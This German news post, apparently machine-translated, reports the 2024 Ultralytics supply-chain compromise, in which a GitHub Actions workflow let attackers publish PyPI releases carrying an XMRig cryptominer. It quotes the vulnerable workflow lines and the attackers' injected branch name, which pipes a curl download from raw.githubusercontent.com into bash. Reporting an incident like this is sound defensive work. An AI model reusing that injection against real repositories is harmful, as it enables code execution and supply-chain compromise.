{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Ein Fehler im GitHub Actions-Handler f\u00fchrte zur Ver\u00f6ffentlichung von b\u00f6sartigen Ultralytics-Versionen.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Angreifer konnten Code mit den Rechten des GitHub Actions-Handlers im Repository der Python-Bibliothek Ultralytics ausf\u00fchren, die f\u00fcr Computer Vision-Aufgaben wie Objekterkennung in Bildern und Bildsegmentierung verwendet wird. Nachdem sie Zugriff auf das Repository erhalten hatten, ver\u00f6ffentlichten die Angreifer mehrere neue Ultralytics-Versionen im PyPI-Katalog, die schadhafte \u00c4nderungen f\u00fcr das Mining von Kryptow\u00e4hrungen enthielten. Im letzten Monat wurde die Ultralytics-Bibliothek \u00fcber 6,4 Millionen Mal aus dem PyPI-Katalog heruntergeladen. <\/p>\n
Um das Repository zu kompromittieren, wurde eine Schwachstelle im Paket ultralytics-actions genutzt, welches f\u00fcr das automatische Ausf\u00fchren von Handlern bei bestimmten Aktionen mit dem Repository auf GitHub verwendet wird, indem der Mechanismus GitHub Actions eingesetzt wird. Im Projekt ultralytics wurde der anf\u00e4llige Handler mit dem Ereignis pull_request_target verkn\u00fcpft und wurde bei Eingang neuer Pull-Requests aufgerufen. Insbesondere wurde zur Formatierung des Codes in den eingereichten Pull-Requests der Handler format.yml aufgerufen, der den im Abschnitt \u201erun\u201c der Datei action.yml angegebenen Code ausf\u00fchrte, in dem Shell-Befehle mit Platzhaltern vorhanden waren: git pull origin ${{ github.head_ref || github.ref }} git config \u2014global user.name \u201e${{ inputs.github_username }}\u201c git config \u2014global user.email \u201e${{ inputs.github_email }}\u201c <\/p>\n
Somit wurde der Name des Git-Branches, der im Pull-Request erw\u00e4hnt wurde, ohne angemessene Escape-Bearbeitung in die Shell-Befehle eingesetzt. Bemerkenswert ist, dass im August im Paket ultralytics-actions bereits eine \u00e4hnliche Schwachstelle im Zusammenhang mit der Verwendung eines externen Wertes in der Funktion echo behoben wurde: echo \u201egithub.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u201c <\/p>\n
Um die Ausf\u00fchrung ihres Codes im Kontext des GitHub Actions-Handlers zu organisieren, haben Angreifer einen Pull-Request an das Repository ultralytics gesendet und als Branch-Namen angegeben: openimbot:$(curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh${IFS}|${IFS}bash) <\/p>\n
Dementsprechend wurde beim Eingang eines Pull-Requests die von den Angreifern festgelegte Zeichenkette \u201e$(…)\u201c in den Code eingef\u00fcgt, was beim anschlie\u00dfenden Ausf\u00fchren des Handlers zur Ausf\u00fchrung des Codes \u201ecurl -sSfL raw.githubusercontent.com\/…\/file.sh | bash\u201c f\u00fchrte.
<\/center> <\/p>\n
Die Ausf\u00fchrung von Code im Kontext von GitHub Actions kann verwendet werden, um ein Zugriffstoken f\u00fcr das Repository und andere vertrauliche Daten zu erlangen. Wie genau es den Angreifern gelungen ist, ein Release zu erstellen und die M\u00f6glichkeit zu erlangen, ihren Code in GitHub Actions auszuf\u00fchren, ist noch unklar. Es wird vermutet, dass dies durch die \u00c4nderung des Handlers publish.yml (die Angreifer haben die \u00dcberpr\u00fcfung des Kontos entfernt, von dem aus Releases in PyPI ver\u00f6ffentlicht werden d\u00fcrfen) und die Verwendung der Technik der Cache-Vergiftung in GitHub Actions zur Einspeisung ihrer Daten in das Release erm\u00f6glicht wurde. <\/p>\n
Die erste schadhafte Version von Ultralytics 8.3.41 wurde am 4. Dezember um 23:51 (MSK) von Angreifern im PyPI-Verzeichnis ver\u00f6ffentlicht und am n\u00e4chsten Tag um 12:15 Uhr entfernt. Um 15:47 Uhr wurde eine weitere Version 8.3.42 ver\u00f6ffentlicht, die um 16:47 Uhr entfernt wurde. Somit waren die sch\u00e4dlichen Versionen insgesamt etwa 13 Stunden lang zum Download verf\u00fcgbar (an einem Tag verzeichnet PyPI etwa 250.000 Downloads der Ultralytics-Bibliothek). In den Versionen 8.3.41 und 8.3.42 war Code vorhanden, der einen externen Download durchf\u00fchrte. Server<\/a> XMRig-Komponente zum Mining von Kryptow\u00e4hrung. <\/p>\n
![\"Ein](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n